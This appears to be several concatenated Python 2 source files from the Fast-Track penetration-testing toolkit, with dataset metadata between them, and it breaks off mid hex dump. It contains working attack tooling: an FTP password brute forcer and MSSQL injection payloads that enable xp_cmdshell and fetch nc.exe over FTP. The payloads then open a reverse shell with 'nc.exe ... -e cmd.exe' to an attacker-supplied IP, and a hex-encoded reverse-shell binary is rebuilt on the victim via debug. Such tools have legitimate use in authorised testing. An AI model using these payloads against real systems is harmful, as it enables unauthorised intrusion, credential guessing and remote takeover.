#!/usr/bin/env python import os,time,sys,subprocess # import custom methods definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass while 1 == 1 : include.print_banner() menuz=raw_input(''' Fast-Track Update Menu: 1. Update Fast-Track 2. Metasploit 3 Update 3. Update Exploit-DB Exploits 4. Update Gerix Wifi Cracker NG 5. Update Social-Engineer Toolkt (q)uit Enter number: ''') if menuz == '1': # Start check update feature definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(updateft) except Exception: pass import updateft # End check update feature if menuz == '2': definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(updatemeta) except Exception: pass import updatemeta # Install menu end if menuz == '3': print "\nUpdating the Offsec Exploit-DB .exploits..." if not os.path.isfile("/pentest/exploits/exploitdb"): subprocess.Popen("cd /pentest/exploits;svn co svn://devel.offensive-security.com/exploitdb exploitdb/", shell=True).wait() subprocess.Popen("cd /pentest/exploits/exploitdb;svn update", shell=True).wait() if menuz == '4': print "Updating Gerix Wifi Cracker NG" subprocess.Popen("cd /usr/share;svn co svn://devel.offensive-security.com/gerix-ng", shell=True).wait() subprocess.Popen("cd /usr/share/gerix-ng;svn update", shell=True).wait() if menuz == '5': print "Updating the Social-Engineer Toolkit" #subprocess.Popen("cd /pentest/exploits/;svn co http://svn.secmaniac.com/social_engineering_toolkit SET/", shell=True).wait() subprocess.Popen("cd /pentest/exploits/SET;svn update", shell=True).wait() if menuz == 'q': break # End Updates Menu
1,947
Python
.py
56
29.607143
131
0.678781
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,326
nsemenu.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/.svn/text-base/nsemenu.py.svn-base
#!/usr/bin/env python import os,sys,time,subprocess definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) sys.path.append("%s/bin/scanners/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass while 1==1: try: include.print_banner() exploit1=raw_input(""" The Nmap Scripting Engine is a powerful addition to Nmap, allowing for custom scripts which can fingerprint, scan, and even exploit hosts! Select your script: 1. Scan For SMB Vulnerabilities <ctrl>-c or (q)uit Enter number: """) if exploit1 == '1' : try: reload(nmapsmbcheckvulns) except Exception: pass import nmapsmbcheckvulns # if exploit1 == '2' : # try: reload(ibmcad) # except Exception: pass # import ibmcad if exploit1 == 'q' : print "\nReturning to previous menu...\n" break except Exception, e: print "\n\n The system may not be vulnerable. Printing Error: "+str(e)+"\n" print e
1,091
Python
.py
36
24.833333
84
0.637948
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,327
externalhacking.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/.svn/text-base/externalhacking.py.svn-base
#!/usr/bin/env python import os,time,re try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line while 1==1: menu = raw_input(""" External Pentesting Menu: 1. Port Scanning 2. Launch Manual MSFConsole 3. Autopwn Metasploit Automated 4. FTP Brute Forcer 5. Auto SQL Injector 6. Binary to Hex Payload Generator 7. Fast-Track Mass Client-Side Attack 8. Return to Previous Menu Enter a number: """) if menu == '1' : print """ FYI, this uses default scan options nmap -sT -A -v -P0 ip if your going against an IDS/IPS, I wouldn't use this. Example usage: 192.168.1.1-254 or 192.168.1.0-255.254 """ nmap1=raw_input("Enter the IP address you want to go after: ") print "Scanning systems...be patient...." nmap2=os.system("nmap -sT -A -v -P0 %s > portscan.txt" % (nmap1)) print "*** Results will be printed in under portscan.txt ***" nmap4=os.system("kwrite portscan.txt 2> /dev/null &") print 'Done.' # Start Metasploit choices if menu == '2' : metasploitchoice1=raw_input("""What do you want to launch, the MSF console or MSFWeb Interfaces? Enter 1 for console 2 for web: """) if metasploitchoice1 == '1': print 'Launching MSFConsole' metaconsole1=os.system("%s/msfconsole" % (metapath)) if metasploitchoice1 == '2': print 'Running Metasploit Web in the background, connect to port localhost:55555 in Mozilla to access..' metaconsole1=os.system("%s/msfweb &" % (metapath)) #Start Autopwn Automation if menu == '3': while 1==1 : menu1=raw_input("""\n\nChoose which option you would like to do:\n\n1. Run Metasploit Autopwn\n2. Update Metasploit\n3. Return to previous menu.\n\nChoose a number: """) if menu1=='3': print "Returning to previous menu..." time.sleep(1) break if menu1=='1': import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(autopwn) except Exception: pass import autopwn if menu1=='2': print "Updating Metasploit..." updatesmetasploit=os.system("svn update %s" % (metapath)) print "Metasploit updated. Returning to menu..." # start option 4 menu if menu == '4' : print "\n\nHere's a simple FTP brute forcer..It's a little slow, but works.\n\n" import ftplib,pexpect,threading, thread from ftplib import FTP try: ftp1=raw_input("Enter the ip address to target: ") ftp2=raw_input("Enter username to brute force: ") ftp3=raw_input("Enter path to wordlist example /root/wordlist.txt: ") def ftp4(): ftpconn=FTP('%s' % ftp1, 'anonymous', 'anonymous@anonymous.com') def ftp5(): ftpconn=FTP('%s' % ftp1, '%s' % ftp2, '%s' % line2) except Exception: print 'Error...Did you install PExpect???' try: print '\n\nTrying anonymous access first...' ftp4() print "Anonymous login successful!!!" print 'Logging in...' child=pexpect.spawn('bin/sh') child.sendline('ftp %s' % (ftp)) time.sleep(1) child.sendline('anonymous') time.sleep(5) child.sendline('anonymous@anonymous.com') child.interact() except (ftplib.all_errors): print "Anonymous didn't work...moving on\n" try: for line in open ('%s' % (ftp3)) : line2 = line[:-1] try: print 'Attempting brute force with password of %s' % line2 ftp5() print 'Successfully brute forced account with password of %s' % line2 print 'Successful FTP with username of %s with password of %s' % (ftp2,line2) print 'Logging in...' child = pexpect.spawn('/bin/sh') child.sendline ('ftp %s' % (ftp1)) time.sleep(1) child.sendline ('%s' % (ftp2)) time.sleep(6) child.sendline ('%s' % (line2)) child.interact() except (ftplib.all_errors): print 'Incorrect login..' except Exception: print 'Something went wrong...Did you install PExpect??' #End FTP Brute #Start SQL Injector if menu == '5' : sqlmenu=raw_input(""" Fast-Track SQL Injector There's four options you can use in this menu. One and the easiest is the binary payload. This injects a binary payload through SQL Injection and gives you a reverse shell. Requires nothing to be downloaded on the attackers machine, and is relatively quick. The second is the SQL Injector using FTP, Fast-Track will setup an FTP server for you, and reverse a netcat off of the affected system. The third step allows you to manually setup each connection if you need to customize the connection for any reason. The fourth menu generates the string used in the attack. If the parameter you need to inject in is within the source and not in the URL bar, you can use this to paste into something like BURP. 1. SQL Injector Binary Payload Auto 2. SQL Injector Using ProFTPD Auto 3. SQL Injector Manual Setup 4. SQL Injector Binary Payload Auto Form Attack 5. SQL String Generator 6. Return to previous menu Enter your choice: """) if sqlmenu == '1': import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbinarypayload) except Exception: pass import sqlbinarypayload # END SQL Injection Binary Payload Auto # Start SQL Injection FTP Auto if sqlmenu == '2': import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlftppayload) except Exception: pass import sqlftppayload # END SQL Injection FTP # Start Manual Setup Menu if sqlmenu == '3': import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlmanual) except Exception: pass import sqlmanual # END Manual SQL Injection Binary Payload # Start Auto SQL Injector Reverse RDP Over SSH # Start String Generator if sqlmenu == '4': import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbinarypayloadpost) except Exception: pass import sqlbinarypayloadpost if sqlmenu == '5': print """ This portion allows you to generate each string used in each of the automated attacks. This allows you to customize on how you want... Sometimes the parameter isn't in the url and is within a specific form and need to use tools like BURP in order to paste into a specific session. """ sqlquestion1=raw_input(""" Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter Example: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah Enter here: """) mainques=raw_input("""\n Do you want to use ftp to transfer the file on the victim or use binary payload generator? 1. FTP Generator 2. Binary Payload Generator Enter choice: """) # Start manual inject FTP generator if mainques== '1': sqlquestion2=raw_input("Enter the IP Address of your FTP Server: ") sqlquestion3=raw_input("Enter the Username for your FTP Server: ") sqlquestion4=raw_input("Enter the Password for your FTP Server: ") sqlquestion5=raw_input("Enter the IP Address where you have netcat listening: ") sqlquestion6=raw_input("Enter the port you have netcat running on: ") string1=(r"""';exec master..sp_addextendedproc "xp_cmdshell", "C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll";exec master..sp_configure "show advanced options", 1;RECONFIGURE;exec master..sp_configure "xp_cmdshell", 1;RECONFIGURE;exec master..xp_cmdshell 'echo open %s> moo.txt';exec master..xp_cmdshell 'echo failedlogin1>> moo.txt' ;exec master..xp_cmdshell 'echo failedlogin2>> moo.txt';exec master..xp_cmdshell 'echo user>> moo.txt';exec master..xp_cmdshell 'echo %s>> moo.txt';exec master..xp_cmdshell 'echo %s>> moo.txt';exec master..xp_cmdshell 'echo bin>> moo.txt';exec master..xp_cmdshell 'echo get nc.exe>> moo.txt';exec master..xp_cmdshell 'echo bye>> moo.txt';exec master..xp_cmdshell 'ftp -s:moo.txt';exec master..xp_cmdshell 'del moo.txt';exec master..xp_cmdshell 'nc.exe %s %s -e cmd.exe'--""" % (sqlquestion2,sqlquestion3,sqlquestion4,sqlquestion5,sqlquestion6)) sqlreplace = sqlquestion1.replace("'INJECTHERE", """%s""" % (string1)) print "\n\n" print "Generating string...Copy and paste this in your URL bar\n" time.sleep(2) print sqlreplace print "\nString generated...\n" pause=raw_input("\nPress enter to return to main menu.\n") # End manual inject FTP generator # Start SQL Injector Binary Payload Generator if mainques== '2': print """ This section generates the necessary strings in order to do a reverse binary payload. It has 25 strings it has to insert due to the size of the payload, but is generally much easier than having to rely off of FTP. """ import socket, pexpect ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sqlquestion2=raw_input("Enter the IP Address for your netcat or reverse shell server: ") sqlquestion3=raw_input("Enter the port number you want: ") # # Had to break up into multiple different requests due to the size of the payload and URL request # # Binary2Hex code used from IllWill, very nice small reverse payload. # # While this may look a little ugly from a cleanliness perspective, theres a weird bug echoing files through SQL. When using >> it doubles whatever # the command you are entering, for example if you wanted ot echo blah, it would echo blah blah into the file, which caused a major issue when # getting the debug format right. # # So I got around the above problem by echoing individual text files and then typing them into one large one. This ended up working (phew). # # I ran the binary through olly as well as process explorer and filemon. It only makes one call out when executed and thats to the destiation thats # specified. Safe executable. # # Re-Enable XP_Cmdshell stored procedure just in case its disabled string1=(r"';exec master..xp_cmdshell 'echo n service.dll >1.txt';exec master..xp_cmdshell 'echo e 0100 >2.txt';exec master..xp_cmdshell 'echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 df 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 >3.txt'--") string2=(r"';exec master..xp_cmdshell 'echo e 0180>4.txt'--") string3=(r"';exec master..xp_cmdshell 'echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 db 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >5.txt'--") string4=(r"';exec master..xp_cmdshell 'echo e 0200 >6.txt'--") string5=(r"';exec master..xp_cmdshell 'echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 ef 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13 >7.txt'--") string6=(r"';exec master..xp_cmdshell 'echo e 0280 >8.txt'--") string7=(r"';exec master..xp_cmdshell 'echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00 >9.txt'--") string8=(r"';exec master..xp_cmdshell 'echo e 0300 >10.txt'--") string9=(r"';exec master..xp_cmdshell 'echo 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 b0 42 00 00 bd 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c 06 32 40 07 6a 01 e8 0e 7c 38 55 0c e8 42 02 c8 15 38 9e 6a 7e 38 ea 53 0c 7a 50 2c 16 74 41 30 fd 01 bf 55 b2 b1 33 6a 91 02 06 b2 7c 55 9a 27 a3 78 83 66 c7 05 64 7b 4f a6 38 67 bc 5d 50 66 94 3d 39 66 a3 68 7e 64 66 7e 21 7d 8b 73 0c d9 0a 6a 68 94 2d a1 >11.txt'--") string10=(r"';exec master..xp_cmdshell 'echo e 0380 >12.txt'--") string11=(r"';exec master..xp_cmdshell 'echo 3a 7a 6f 48 15 ea 4c 05 11 50 64 90 10 4d 44 55 91 14 3c 40 78 6a 28 10 68 5d 28 ff 35 30 74 e8 a4 9e 51 54 55 a1 55 8d bf 6e 0e 0a 08 90 22 0b e1 51 14 e8 1f 81 4b c3 ff 25 24 20 bb 6f 2a 1c 06 43 18 21 14 bd c3 22 08 71 cc 01 55 8b ec 81 c4 7c fe ff 88 56 57 e8 60 ac dd 89 45 fc 33 1d c9 8b 75 7e 38 3c 1d 74 07 1e 22 40 f7 41 eb f4 51 d1 72 e9 00 e1 58 3b c1 74 0b 5f 5e 30 b8 03 >13.txt'--") string12=(r"';exec master..xp_cmdshell 'echo e 0400 >14.txt'--") string13=(r"';exec master..xp_cmdshell 'echo b9 c9 c2 08 e1 86 49 8d bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 38 f4 b0 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee >15.txt'--") string14=(r"';exec master..xp_cmdshell 'echo e 0480 >16.txt';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt'--") string15=(r"';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt'--") string16=(r"';exec master..xp_cmdshell 'echo e 0500 >18.txt'--") string17=(r"';exec master..xp_cmdshell 'echo 7c e9 6c c1 0c 60 75 77 06 f4 10 c0 40 02 d0 e1 1b c2 51 5b 3a 47 c4 49 19 ca 0c 57 06 08 30 00 00 30 40 00 63 30 6d 64 00 66 3f 40 00 14 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 67 07 65 74 68 6f 73 40 62 79 6e 61 7b 6d cf 1e 63 9e 3c f7 eb ff 0e 12 57 53 41 5d cf 61 72 46 75 70 18 79 68 ca 2c 73 13 4f 26 63 6b 62 ef c1 ff b8 03 6c 95 1a 72 ca 5e 6c 4c c7 57 d3 69 74 f3 46 >19.txt'--") string18=(r"';exec master..xp_cmdshell 'echo e 0580 >20.txt'--") string19=(r"';exec master..xp_cmdshell 'echo a7 bc 91 47 c3 4c 43 6f 6d 88 61 6e 64 36 4c 69 44 62 7e 80 76 72 fb 9d 3a 50 b7 82 e7 73 15 41 58 21 c0 64 48 d0 43 2f 60 00 00 00 00 00 66 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 74 be ff ff 00 00 00 02 00 00 00 0c 40 00 00 >21.txt'--") # Convert the crazy text files into one file string20=(r"';exec master..xp_cmdshell 'echo r cx >22.txt';exec master..xp_cmdshell 'echo 04ef >23.txt';exec master..xp_cmdshell 'echo w >24.txt';exec master..xp_cmdshell 'echo q >25.txt';exec master..xp_cmdshell 'type 1.txt > reverse.txt';exec master..xp_cmdshell 'type 2.txt >> reverse.txt';exec master..xp_cmdshell 'type 3.txt >> reverse.txt';exec master..xp_cmdshell 'type 4.txt >> reverse.txt';exec master..xp_cmdshell 'type 5.txt >> reverse.txt';exec master..xp_cmdshell 'type 6.txt >> reverse.txt';exec master..xp_cmdshell 'type 7.txt >> reverse.txt';exec master..xp_cmdshell 'type 8.txt >> reverse.txt';exec master..xp_cmdshell 'type 9.txt >> reverse.txt';exec master..xp_cmdshell 'type 10.txt >> reverse.txt';exec master..xp_cmdshell 'type 11.txt >> reverse.txt';exec master..xp_cmdshell 'type 12.txt >> reverse.txt';exec master..xp_cmdshell 'type 13.txt >> reverse.txt';exec master..xp_cmdshell 'type 14.txt >> reverse.txt';exec master..xp_cmdshell 'type 15.txt >> reverse.txt';exec master..xp_cmdshell 'type 16.txt >> reverse.txt';exec master..xp_cmdshell 'type 17.txt >> reverse.txt';exec master..xp_cmdshell 'type 18.txt >> reverse.txt';exec master..xp_cmdshell 'type 19.txt >> reverse.txt';exec master..xp_cmdshell 'type 20.txt >> reverse.txt';exec master..xp_cmdshell 'type 21.txt >> reverse.txt';exec master..xp_cmdshell 'type 22.txt >> reverse.txt';exec master..xp_cmdshell 'type 23.txt >> reverse.txt';exec master..xp_cmdshell 'type 24.txt >> reverse.txt';exec master..xp_cmdshell 'type 25.txt >> reverse.txt'--") # Convert to an executable string21=(r"';exec master..xp_cmdshell 'debug<reverse.txt';exec master..xp_cmdshell 'copy service.dll reverse.exe'--") # Cleanup string22=(r"';exec master ..xp_cmdshell 'del 1.txt';exec master ..xp_cmdshell 'del 2.txt';exec master ..xp_cmdshell 'del 3.txt';exec master ..xp_cmdshell 'del 4.txt';exec master ..xp_cmdshell 'del 5.txt';exec master ..xp_cmdshell 'del 6.txt';exec master ..xp_cmdshell 'del 7.txt';exec master ..xp_cmdshell 'del 8.txt';exec master ..xp_cmdshell 'del 9.txt';exec master ..xp_cmdshell 'del 10.txt';exec master ..xp_cmdshell 'del 11.txt';exec master ..xp_cmdshell 'del 12.txt';exec master ..xp_cmdshell 'del 13.txt';exec master ..xp_cmdshell 'del 14.txt'--") string23=(r"';exec master ..xp_cmdshell 'del 15.txt';exec master ..xp_cmdshell 'del 16.txt';exec master ..xp_cmdshell 'del 17.txt';exec master ..xp_cmdshell 'del 18.txt';exec master ..xp_cmdshell 'del 19.txt';exec master ..xp_cmdshell 'del 20.txt';exec master ..xp_cmdshell 'del 21.txt';exec master ..xp_cmdshell 'del 22.txt';exec master ..xp_cmdshell 'del 23.txt';exec master ..xp_cmdshell 'del 24.txt';exec master ..xp_cmdshell 'del 25.txt';exec master ..xp_cmdshell 'del reverse.txt';exec master ..xp_cmdshell 'del service.dll'--") # Actually execute the reverse shell string24=(r"';exec master..xp_cmdshell 'reverse.exe %s 4444'--" % (ipaddr)) sqlreplace1 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string1)) sqlreplace2 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string2)) sqlreplace3 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string3)) sqlreplace4 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string4)) sqlreplace5 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string5)) sqlreplace6 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string6)) sqlreplace7 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string7)) sqlreplace8 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string8)) sqlreplace9 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string9)) sqlreplace10 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string10)) sqlreplace11 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string11)) sqlreplace12 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string12)) sqlreplace13 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string13)) sqlreplace14 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string14)) sqlreplace15 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string15)) sqlreplace16 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string16)) sqlreplace17 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string17)) sqlreplace18 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string18)) sqlreplace19 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string19)) sqlreplace20 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string20)) sqlreplace21 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string21)) sqlreplace22 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string22)) sqlreplace23 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string23)) sqlreplace24 = sqlquestion1.replace("'INJECTHERE", """%s""" % (string24)) print "\n" print "Generating strings..." print "Copy and paste each string into the URL or tools like BURP" time.sleep(2) print sqlreplace1 print "String 1 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace2 print "String 2 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace3 print "String 3 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace4 print "String 4 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace5 print "String 5 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace6 print "String 6 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace7 print "String 7 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace8 print "String 8 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace9 print "String 9 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace10 print "String 10 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace11 print "String 11 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace12 print "String 12 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace13 print "String 13 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace14 print "String 14 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace15 print "String 15 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace16 print "String 16 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace17 print "String 17 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace18 print "String 18 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace19 print "String 19 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace20 print "String 20 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace21 print "String 21 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace22 print "String 22 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace23 print "String 23 of 24" pause=raw_input("Press enter for the next string...\n") print sqlreplace24 print "String 24 of 24 completed" pause=raw_input("Done. Press enter to return to the main menu...") # Return to previous menu if sqlmenu == '6': print """\n\n ***** Returning to Previous Menu *****\n""" # END Manual SQL Injection Binary Payload Generator # Start Binary to Hex Payload Generator if menu == '6' : choice1=raw_input(""" This generates the needed information for copy and pasting into a windows shell you already have and creating an executable. This uses debug to create an executable so you don't need to remotely transfer files off the system... Do you want to use your own binary or use reverse.exe? Reverse.exe is used from IllWill (special thanks) and is a simple SMALL reverse shell. Simply type: reverse.exe <ip> <port> to get a reverse shell. 1. Use reverse.exe and generate 2. Use My own Enter choice: """) if choice1 == '1': try: binary1=open("reversebinarygen.txt", "w") binary1.write("""******* COPY AND PASTE BELOW INTO A WINDOWS SHELL *******\n\n\necho off && echo n 1.dll >reverse.hex\necho e 0100 >>reverse.hex && echo 4d 5a 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 00 50 45 00 00 4c 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 df 42 00 00 10 00 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 50 00 00 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 >>reverse.hex\necho e 0180 >>reverse.hex && echo 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 db 42 00 00 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>reverse.hex\necho e 0200 >>reverse.hex && echo 00 00 00 00 00 00 00 00 4d 45 57 00 46 12 d2 c3 00 30 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 02 d2 75 db 8a 16 eb d4 00 10 00 00 00 40 00 00 ef 02 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 c0 be 1c 40 40 00 8b de ad ad 50 ad 97 b2 80 a4 b6 80 ff 13 73 f9 33 c9 ff 13 73 16 33 c0 ff 13 73 21 b6 80 41 b0 10 ff 13 >>reverse.hex\necho e 0280 >>reverse.hex && echo 12 c0 73 fa 75 3e aa eb e0 e8 72 3e 00 00 02 f6 83 d9 01 75 0e ff 53 fc eb 26 ac d1 e8 74 2f 13 c9 eb 1a 91 48 c1 e0 08 ac ff 53 fc 3d 00 7d 00 00 73 0a 80 fc 05 73 06 83 f8 7f 77 02 41 41 95 8b c5 b6 00 56 8b f7 2b f0 f3 a4 5e eb 9b ad 85 c0 75 90 ad 96 ad 97 56 ac 3c 00 75 fb ff 53 f0 95 56 ad 0f c8 40 59 74 ec 79 07 ac 3c 00 75 fb 91 40 50 55 ff 53 f4 ab 75 e7 c3 00 00 00 00 00 >>reverse.hex\necho e 0300 >>reverse.hex && echo 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 b0 42 00 00 bd 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c 06 32 40 07 6a 01 e8 0e 7c 38 55 0c e8 42 02 c8 15 38 9e 6a 7e 38 ea 53 0c 7a 50 2c 16 74 41 30 fd 01 bf 55 b2 b1 33 6a 91 02 06 b2 7c 55 9a 27 a3 78 83 66 c7 05 64 7b 4f a6 38 67 bc 5d 50 66 94 3d 39 66 a3 68 7e 64 66 7e 21 7d 8b 73 0c d9 0a 6a 68 94 2d a1 >>reverse.hex\necho e 0380 >>reverse.hex && echo 3a 7a 6f 48 15 ea 4c 05 11 50 64 90 10 4d 44 55 91 14 3c 40 78 6a 28 10 68 5d 28 ff 35 30 74 e8 a4 9e 51 54 55 a1 55 8d bf 6e 0e 0a 